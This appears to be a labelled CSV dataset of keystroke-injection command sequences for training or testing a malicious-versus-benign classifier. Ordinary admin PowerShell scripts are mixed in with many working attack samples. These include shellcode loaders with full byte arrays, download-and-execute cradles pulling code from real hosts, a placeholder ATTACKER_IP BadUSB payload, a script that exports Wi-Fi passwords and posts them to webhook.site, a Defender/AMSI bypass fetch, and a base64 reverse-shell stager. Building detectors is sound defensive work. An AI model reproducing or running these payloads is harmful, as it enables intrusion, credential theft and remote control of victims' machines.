"win+r powershell enter $ox6F = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ox6F - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8 enter ,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c enter ,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c enter ,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52 enter ,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50 enter ,0x8b,0x48,0x18,0x8b enter enter",1,1,5.4078595e-05,0.9999459
"win+r enter powershell enter enter enter $HostSupportsSettingWindowTitle = $null enter $OriginalWindowTitle = $null enter enter function Test-WindowTitleIsWriteable { enter if ($null -eq $HostSupportsSettingWindowTitle) { enter enter try { enter $script:OriginalWindowTitle = $Host.UI.RawUI.WindowTitle enter $newTitle = ""${OriginalWindowTitle} "" enter $Host.UI.RawUI.WindowTitle = $newTitle enter $script:HostSupportsSettingWindowTitle = ($Host.UI.RawUI.WindowTitle -eq $newTitle) enter $Host.UI.RawUI.WindowTitle = $OriginalWindowTitle enter Write-Debug ""HostSupportsSettingWindowTitle: $HostSupportsSettingWindowTitle"" enter Write-Debug ""OriginalWindowTitle: $OriginalWindowTitle"" enter } enter catch { enter $script:OriginalWindowTitle = $null enter $script:HostSupportsSettingWindowTitle = $false enter Write-Debug ""HostSupportsSettingWindowTitle error: $_"" enter } enter } enter return $HostSupportsSettingWindowTitle enter } enter enter function Reset-WindowTitle { enter [Diagnostics.CodeAnalysis.SuppressMessageAttribute(""PSUseShouldProcessForStateChangingFunctions"", """")] enter param() enter $settings = $global:GitPromptSettings enter if ($HostSupportsSettingWindowTitle -and $OriginalWindowTitle -and $settings.WindowTitle) { enter Write-Debug ""Resetting WindowTitle: '$OriginalWindowTitle'"" enter $Host.UI.RawUI.WindowTitle = $OriginalWindowTitle enter } enter } enter enter function Set-WindowTitle { enter [Diagnostics.CodeAnalysis.SuppressMessageAttribute(""PSUseShouldProcessForStateChangingFunctions"", """")] enter param($GitStatus, $IsAdmin) enter $settings = $global:GitPromptSettings enter if ($settings.WindowTitle -and (Test-WindowTitleIsWriteable)) { enter try { enter if ($settings.WindowTitle -is [scriptblock]) { enter enter $windowTitleText = ""$(& $settings.WindowTitle $GitStatus $IsAdmin)"" enter } enter else { enter $windowTitleText = $ExecutionContext.SessionState.InvokeCommand.ExpandString(""$($settings.WindowTitle)"") enter } enter enter Write-Debug ""Setting WindowTitle: $windowTitleText"" enter $Host.UI.RawUI.WindowTitle = ""$windowTitleText"" enter } enter catch { enter Write-Debug ""Error occurred during evaluation of `$GitPromptSettings.WindowTitle: $_"" enter } enter } enter } enter enter",0,0,0.9782049,0.021795033
"win+r enter powershell enter enter enter $fqdn=""<Replace with your custom domain name>"" enter $webappname=""mywebapp$(Get-Random)"" enter $location=""West Europe"" enter New-AzResourceGroup -Name $webappname -Location $location enter New-AzAppServicePlan -Name $webappname -Location $location ` enter -ResourceGroupName $webappname -Tier Free enter New-AzWebApp -Name $webappname -Location $location -AppServicePlan $webappname ` enter -ResourceGroupName $webappname enter enter Write-Host ""Configure a CNAME record that maps $fqdn to $webappname.azurewebsites.net"" enter Read-Host ""Press [Enter] key when ready ..."" enter Set-AzAppServicePlan -Name $webappname -ResourceGroupName $webappname ` enter -Tier Shared enter Set-AzWebApp -Name $webappname -ResourceGroupName $webappname ` enter -HostNames @($fqdn,""$webappname.azurewebsites.net"") enter enter",0,0,0.9999591,4.0898907e-05
win r powershell -nop -ep bypass -w h -c irm tnyr.me/mk4jtdx1ws | iex enter,1,1,6.4871594e-05,0.99993515
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_o2lguxi8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.382104e-05
"win+r enter powershell enter enter enter [CmdletBinding(DefaultParameterSetName = ""Build"")] enter param( enter [Parameter(ParameterSetName=""Bootstrap"")] enter [switch] enter $Bootstrap, enter enter [Parameter(ParameterSetName=""Build"")] enter [switch] enter $Clean, enter enter [Parameter(ParameterSetName=""Build"")] enter [switch] enter $Test enter ) enter enter $NeededTools = @{ enter VSCode = ""Visual Studio Code"" enter NodeJS = ""Node.js 6.0 or higher"" enter PowerShellGet = ""PowerShellGet latest"" enter InvokeBuild = ""InvokeBuild latest"" enter } enter enter function needsVSCode () { enter try { enter $vscodeVersion = (code -v) enter if (-not $vscodeVersion) { enter Throw enter } enter } catch { enter try { enter $vscodeInsidersVersion = (code-insiders -v) enter if (-not $vscodeInsidersVersion) { enter Throw enter } enter } catch { enter return $true enter } enter } enter return $false enter } enter enter function needsNodeJS () { enter try { enter $nodeJSVersion = node -v enter } catch { enter return $true enter } enter enter if ($nodeJSVersion -notmatch 'v(\d+\.\d+\.\d+)') { enter return $true enter } enter enter $nodeVer = [System.Version]$matches[1] enter return ($nodeVer.Major -lt 6) enter } enter enter function needsPowerShellGet () { enter if (Get-Module -ListAvailable -Name PowerShellGet) { enter return $false enter } enter return $true enter } enter enter function needsInvokeBuild () { enter if (Get-Module -ListAvailable -Name InvokeBuild) { enter return $false enter } enter return $true enter } enter enter function getMissingTools () { enter $missingTools = @() enter enter if (needsVSCode) { enter $missingTools += $NeededTools.VSCode enter } enter if (needsNodeJS) { enter $missingTools += $NeededTools.NodeJS enter } enter if (needsPowerShellGet) { enter $missingTools += $NeededTools.PowerShellGet enter } enter if (needsInvokeBuild) { enter $missingTools += $NeededTools.InvokeBuild enter } enter enter return $missingTools enter } enter enter function hasMissingTools () { enter return ((getMissingTools).Count -gt 0) enter } enter enter if ($Bootstrap) { enter $string = ""Here is what your environment is missing:`n"" enter $missingTools = getMissingTools enter if (($missingTools).Count -eq 0) { enter $string += ""* nothing!`n`n Run this script without a flag to build or a -Clean to clean."" enter } else { enter $missingTools | ForEach-Object {$string += ""* $_`n""} enter $string += ""`nAll instructions for installing these tools can be found on VSCode PowerShell's Github:`n"" ` enter + ""https://github.com/PowerShell/vscode-powershell/blob/master/docs/development.md"" enter } enter Write-Host ""`n$string`n"" enter } elseif(hasMissingTools) { enter Write-Host ""You are missing needed tools. Run './build.ps1 -Bootstrap' to see what they are."" enter } else { enter if($Clean) { enter Invoke-Build Clean enter } enter enter Invoke-Build Build enter enter if($Test) { enter Invoke-Build Test enter } enter } enter enter",0,0,0.9992174,0.0007825762
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_xw1qjhir"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_50.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4645618e-05
"win+r powershell enter function ConvertTo-Bytes { param ( [string]$file ) if (!$file -or !(Test-Pa enter th $file)) { throw ""file not found: '$file'"" } [convert]::ToBase64String((Ge enter t-Content $file -Encoding Byte)) } enter enter",1,1,0.04152199,0.958478
"win+r powershell enter $Ufj = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Ufj -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xe9,0x2e,0xce,0xb6,0xd9,0xcf,0xd9,0x74,0x24,0xf4,0x5a,0x2b,0xc9,0xb1,0x47,0x31,0x42,0x13,0x83,0xea,0xfc,0x03,0x42,0xe6,0xcc,0x3b,0x4a,0x10,0x92,0xc4,0xb3,0xe0,0xf3,0x4d,0x56,0xd1,0x33,0x29,0x12,0x41,0x84,0x39,0x76,0x6d,0x6f,0x6f,0x63,0xe6,0x1d,0xb8,0x84,0x4f,0xab,0x9e,0xab,0x50,0x80,0xe3,0xaa,0xd2,0xdb,0x37,0x0d,0xeb,0x13,0x4a,0x4c,0x2c,0x49,0xa7,0x1c,0xe5,0x05,0x1a,0xb1,0x82,0x50,0xa7,0x3a,0xd8,0x75,0xaf,0xdf,0xa8,0x74,0x9e,0x71,0xa3,0x2e,0x00,0x73,0x60,0x5b,0x09,0x6b,0x65,0x66,0xc3,0x00,0x5d,0x1c,0xd2,0xc0,0xac,0xdd,0x79,0x2d,0x01,0x2c,0x83,0x69,0xa5,0xcf,0xf6,0x83,0xd6,0x72,0x01,0x50,0xa5,0xa8,0x84,0x43,0x0d,0x3a,0x3e,0xa8,0xac,0xef,0xd9,0x3b,0xa2,0x44,0xad,0x64,0xa6,0x5b,0x62,0x1f,0xd2,0xd0,0x85,0xf0,0x53,0xa2,0xa1,0xd4,0x38,0x70,0xcb,0x4d,0xe4,0xd7,0xf4,0x8e,0x47,0x87,0x50,0xc4,0x65,0xdc,0xe8,0x87,0xe1,0x11,0xc1,0x37,0xf1,0x3d,0x52,0x4b,0xc3,0xe2,0xc8,0xc3,0x6f,0x6a,0xd7,0x14,0x90,0x41,0xaf,0x8b,0x6f,0x6a,0xd0,0x82,0xab,0x3e,0x80,0xbc,0x1a,0x3f,0x4b,0x3d,0xa3,0xea,0xe6,0x38,0x33,0xd5,0x06,0xfd,0xab,0xbd,0xea,0x02,0x2a,0x85,0x62,0xe4,0x7c,0xa9,0x24,0xb9,0x3c,0x19,0x85,0x69,0xd4,0x73,0x0a,0x55,0xc4,0x7b,0xc0,0xfe,0x6e,0x94,0xbd,0x57,0x06,0x0d,0xe4,0x2c,0xb7,0xd2,0x32,0x49,0xf7,0x59,0xb1,0xad,0xb9,0xa9,0xbc,0xbd,0x2d,0x5a,0x8b,0x9c,0xfb,0x65,0x21,0x8a,0x03,0xf0,0xce,0x1d,0x54,0x6c,0xcd,0x78,0x92,0x33,0x2e,0xaf,0xa9,0xfa,0xba,0x10,0xc5,0x02,0x2b,0x91,0x15,0x55,0x21,0x91,0x7d,0x01,0x11,0xc2,0x98,0x4e,0x8c,0x76,0x31,0xdb,0x2f,0x2f,0xe6,0x4c,0x58,0xcd,0xd1,0xbb,0xc7,0x2e,0x34,0x3a,0x3b,0xf9,0x70,0x48,0x55,0x39;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Tmh=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Tmh.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Tmh,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2186584e-05,0.9999478
"win+r enter powershell enter enter enter function Remove-LocalAdmin { enter param ( enter [string]$comp, enter [string]$sam, enter [string]$domain = $env:USERDOMAIN enter ) enter enter if ($comp -match '^\s*$') { enter throw ""Comp not found '$comp'"" enter } enter enter if ($sam -match '^\s*$') { enter throw ""Sam not acceptable '$sam'"" enter } enter enter ([adsi]""WinNT://$comp/Administrators"").remove(""WinNT://$domain/$sam"") enter } enter enter",0,0,0.987479,0.012521043
"DUCKY_REAL_BEGIN enter REM Rick Roll by Thomas McNeela enter REM https://github.com/tommym89/Rubber-Ducky_RickRoll enter DELAY 8000 enter GUI r enter DELAY 200 enter STRING cmd enter ENTER enter DELAY 200 enter REM create folder to hold payloads enter STRING mkdir ""%USERPROFILE%\Music tab mp"" enter ENTER enter REM write download script enter STRING cd %tmp% && copy con dlrick.vbs enter ENTER enter REM get user home directory enter ENTER enter STRING Dim oShell: Set oShell = CreateObject(""WScript.Shell"") enter ENTER enter STRING Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(""%USERPROFILE%"") enter ENTER enter REM initialize HTTP objects enter ENTER enter STRING Dim xHttp: Set xHttp = CreateObject(""Microsoft.XMLHTTP"") enter ENTER enter STRING Dim bStrm: Set bStrm = CreateObject(""Adodb.Stream"") enter ENTER enter REM open mp3 stream enter STRING xHttp.Open ""GET"", ""https://qoret.com/dl/uploads/2019/07/Rick_Astley_-_Never_Gonna_Give_You_Up_Qoret.com.mp3"", False enter ENTER enter STRING xHttp.Send enter ENTER enter REM download and write to file enter STRING With bStrm enter ENTER enter STRING .type = 1 enter ENTER enter STRING .open enter ENTER enter STRING .write xHttp.responseBody enter ENTER enter DUCKY_REAL_END",1,1,5.906868e-05,0.9999409
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_9ifkyl0q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4119177e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_dj0kx4dw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 2."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.json"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4569446e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4vjxwlet"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4153e-05
"win+r enter powershell enter enter enter function Start-TestFixture enter { enter & (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve) enter } enter enter function Test-ShouldGetIISVersion enter { enter $props = get-itemproperty hklm:\Software\Microsoft\InetStp enter $expectedVersion = $props.MajorVersion.ToString() + '.' + $props.MinorVersion.ToString() enter $actualVersion = Get-IISVersion enter Assert-Equal $expectedVersion $actualVersion ""Didn't get the correct IIS version."" enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.8903024e-05,0.9999411
win+r enter powershell enter enter enter powershell.exe -NoP -sta -NonI -W Hidden $e=(New-ObjectSystem.Net.WebClient).DownloadString('http://birosthalittc.in/cr20.gif');powershell $e#;exit enter enter,1,1,5.704973e-05,0.9999429
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_ppo3j89e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4812372e-05
"win+r enter powershell enter enter enter function Set-ModuleNuspec enter { enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $ManifestPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $NuspecPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $ReleaseNotesPath, enter enter [string[]] enter enter $Tags enter ) enter enter Set-StrictMode -Version 'Latest' enter enter $NuspecPath = Resolve-Path -Path $NuspecPath enter if( -not $NuspecPath ) enter { enter return enter } enter enter $nuspec = [xml](Get-Content -Path $NuspecPath -Raw) enter if( -not $nuspec ) enter { enter return enter } enter enter $manifest = Test-ModuleManifest -Path $ManifestPath enter if( -not $manifest ) enter { enter return enter } enter enter $releaseNotes = Get-ModuleReleaseNotes -ManifestPath $ManifestPath -ReleaseNotesPath $ReleaseNotesPath enter if( -not $releaseNotes ) enter { enter return enter } enter enter $nuspecMetadata = $nuspec.package.metadata enter enter $nuspecMetadata.description = $manifest.Description enter $nuspecMetadata.version = $manifest.Version.ToString() enter $nuspecMetadata.copyright = $manifest.Copyright enter $nuspecMetadata.releaseNotes = $releaseNotes enter if( $Tags ) enter { enter $nuspecMetadata.tags = $Tags -join ' ' enter } enter enter $nuspec.Save( $NuspecPath ) enter } enter enter",0,0,0.99993443,6.554365e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install boxstarter enter A enter enter,0,0,0.9999597,4.02442e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM ======================================== enter REM NullSec Flipper Zero BadUSB enter REM Payload: Download and Execute enter REM Target: Windows 10/11 enter REM ======================================== enter REM CONFIGURE: Change URL to your payload enter DELAY 1000 enter GUI r enter DELAY 500 enter STRING powershell -w hidden -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"" enter ENTER enter DUCKY_REAL_END enter",1,1,5.9101472e-05,0.9999409
"win+r enter powershell enter enter enter  enter $File = ""<Path to CSV file>\ProfileSizeReport.csv"" enter enter $Exclusions = (""Administrator"", ""Default"", ""Public"") enter enter $Profiles = Get-ChildItem -Path $env:SystemDrive""\Users"" | Where-Object { $_ -notin $Exclusions } enter enter $AllProfiles = @() enter enter foreach ($Profile in $Profiles) { enter $object = New-Object -TypeName System.Management.Automation.PSObject enter enter $FolderSizes = [System.Math]::Round(""{0:N2}"" -f ((Get-ChildItem ($Profile.FullName + '\Documents'), ($Profile.FullName + '\Desktop') -Recurse | Measure-Object -Property Length -Sum -ErrorAction Stop).Sum)) enter $object | Add-Member -MemberType NoteProperty -Name ComputerName -Value $env:COMPUTERNAME.ToUpper() enter $object | Add-Member -MemberType NoteProperty -Name Profile -Value $Profile enter $Object | Add-Member -MemberType NoteProperty -Name Size -Value $FolderSizes enter $AllProfiles += $object enter } enter enter [string]$Output = $null enter foreach ($Entry in $AllProfiles) { enter [string]$Output += $Entry.ComputerName + ',' + $Entry.Profile + ',' + $Entry.Size + [char]13 enter } enter enter $Output = $Output.Substring(0,$Output.Length-1) enter enter Do { enter Try { enter $Output | Out-File -FilePath $File -Encoding UTF8 -Append -Force enter $Success = $true enter } Catch { enter $Success = $false enter } enter } while ($Success = $false) enter enter",0,0,0.9848852,0.015114827
"win+r powershell enter function YaLatifu { $yaallah = Get-MpComputerStatus if($yaallah.AMServiceEnabled enter -eq ""False""){ echo ""Fucking Defender"" $e=new-object net.webclient; $e.proxy=[N enter et.WebRequest]::GetSystemWebProxy(); $e.Proxy.Credentials=[Net.CredentialCache] enter ::DefaultCredentials; IEX $e.downloadstring('https://ia601506.us.archive.org/24 enter /items/amsi1/amsi9.txt'); } else { enter enter",1,1,5.5931574e-05,0.9999441
win r cmd /k enter enter cd %temp% enter enter netsh wlan export profile key=clear enter enter enter enter powershell select-string -path wi*.xml -pattern 'keymaterial' > wifi-pass enter enter powershell invoke-webrequest -uri https://webhook.site/url -method post -infile wifi-pass enter enter del wifi* /s /f /q enter enter exit enter,1,1,0.0037257809,0.99627423
"DUCKY_REAL_BEGIN enter REM ============================================================================================================= enter REM Title: Always Minimize enter REM Author: LyQuid enter REM Description: Minimizing all windows within specific time enter REM Target: Windows 10 enter REM Category: Prank enter REM You can change the delay when the windows to minimize, 1 Second = 1000 Milliseconds. Change on ""WScript.Sleep"" enter REM ============================================================================================================== enter DELAY 2000 enter GUI r enter DELAY 200 enter STRING cmd enter ENTER enter DELAY 500 enter REM = Make sure there is no file named minimize.vbs = enter STRING del %tmp%\minimze.vbs enter ENTER enter REM = Creating script = enter STRING cd %tmp% && copy con minimze.vbs enter ENTER enter STRING do enter ENTER enter STRING set oShellApp = CreateObject(""Shell.Application"") enter ENTER enter STRING oShellApp.MinimizeAll enter ENTER enter STRING WScript.Sleep 2000 enter ENTER enter STRING loop enter ENTER enter CTRL z enter ENTER enter REM = Run Script & exit cmd = enter STRING start minimze.vbs && exit enter ENTER enter DUCKY_REAL_END",1,1,5.9826223e-05,0.99994016
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAL7ZvFcCA7VWf2/aSBD9O5X6HawKCVslGAhNmkiVbm1jIAECMZgARaeNvTYLi5fYa371+t1vDDihbVLlKp2ViF3PzO7bN2927MWBIygPJG/lYZ08GtK39+9O2jjEc0nOiHK1XePn85yUEdtKWzk5AWOGCudiWV9KXyR5hBYLg88xDcZXV3ochiQQ+3m+SgSKIjJ/YJREsiL9I/UnJCSntw9T4gjpm5T5O19l/AGzg9tGx86ESKcocBNbgzs4QZa3FowKOfv1a1YZnRbH+cpjjFkkZ61NJMg87zKWVaTvSrJhd7MgcrZJnZBH3BP5Pg3OSvleEGGPtGC1JWkSMeFulFXgIPAXEhGHgZQeKVlj7yFnYdgOuYNcNyQRBOTrwZLPiJwJYsZy0l/y6ADgLg4EnROwCxLyhUXCJXVIlK/hwGXkjnhjuUVW6bnfGiQfB4FXW4RKDlLyMtImd2NG9sFZ5VesT5lU4EmzCRx8f//u/Tsv1QDVp3qrOJzjYxHA6GS0GxOAKrd5RHfOX6RCTmrCjljwcAPTTDeMiTKWRkkWRuOxlGEXXu718GLqC5506EzZcjJZP4BhZHPqjiHwkKTMqmA1+HLQ1b3bVWJ/XXQG8WhAjE2A59RJdSW/xD/xGNmdOp+6tQCinD0YiGsQRnwsEjpz0ujXsMqciqdYLabMJSFyIIcRoIL0Kj+C2WdIztaDJpkDYft5FnLhgZpJ6n1Q8CbdPZmDU1ZnOIpyUjuGcnJykkUwI25OQkFEDyYUC74bZp/hNmMmqIMjkS43Vn7m87CvzoNIhLEDuQQOutaCOBSzhJKcVKMu0TYW9dP9sy8SomPGaODDSktICLxJiLBEopAQoCZqUPIWEfX5gpE5uOzK22TYh2I+1MNOUdgnbvY1oKno9wpPqEk5OYIJ+bYYFznJpqGA2yKh+Vlif4Tl6LL4AZUekkOa5LSeRtpGJAWQWdW2RlAamo/VZiLbA2U7gkIB5Jghn2s4IudlS4RAnfxBvaU6gmdQD1jT0Wa0iFa0WG/Cf4+e1blx4d5cT2tqaKwnHqpH9WatbXRqtfLy2rLLwqrUxU27LpqV++nUQrW73kAM66jWpYXZoLxdXNOt1UDuYK2eb7XtqqCtt1Pf9QaG5/kXnnVX/GTSRl/vaIUSbhiVuNHXVlqhHFXoqtahvc7s2hQPA5vhnqf698VLTNeNcGoXeXNbR6g6OXO2155dnTTdzaCmXvbLM1RBSA8qtqnxm4EWorZqY9/mqxtf00q+jjTToWTY6Zlap2NqqFedPhqXqg+x93ii9e0SHS7u7yYwNwHCjVoo112y5YMOkFTlCPt34OPrJWfigY/xEWkfWzwq4ZnGkQY+5vARcA0WZpuBvdsrcWSz1j1GjeHGVNXioF1GtQLtV32ULIl9rYNRtDS2hlq0Xe72P7UGnmrfswvV0LsLx1NVdVUzbpxhcf359uJzo0/tOUc9VbU/JDIBnWSC29k1ucNHKX/ttm/iMJpgBlKAOzytUZOH5uFGbnOaRMjyU3eekTAgDJoatL1U3Ygx7iTN4fn+hu607xljKNUeDM9KL44U6clReW4b6aurqyHAhXI5EnK+QQJfTHKF9VmhAB2gsC4X4OBvP6nOFxv5eMVc0khS0n7ajO02U5KqyjhdHl3+/6QeCnoCP+6bSH1+9xvrm4gu5J5o+MXy44v/xPgf0dDHVIC3BdcSI/ve+Rs2Dmo6+vLYZQtU4h2e5APwNhanLfgi+RcjBe71dQoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function fwfaCeqD { enter Param ($t4GPHo6m, $tzEP) enter $itc7vIv = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $itc7vIv.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($itc7vIv.GetMethod('GetModuleHandle')).Invoke($null, @($t4GPHo6m)))), $tzEP)) enter } enter enter function iCjCN1Zma { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $l7f, enter [Parameter(Position = 1)] [Type] $iZcjlvhhxb = [Void] enter ) enter enter $w0SLovYTCfOw = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $w0SLovYTCfOw.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $l7f).SetImplementationFlags('Runtime, Managed') enter $w0SLovYTCfOw.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $iZcjlvhhxb, $l7f).SetImplementationFlags('Runtime, Managed') enter enter return $w0SLovYTCfOw.CreateType() enter } enter enter [Byte[]]$wHzDn2ZFqGM = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgBB2gCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $nOkJeRa = 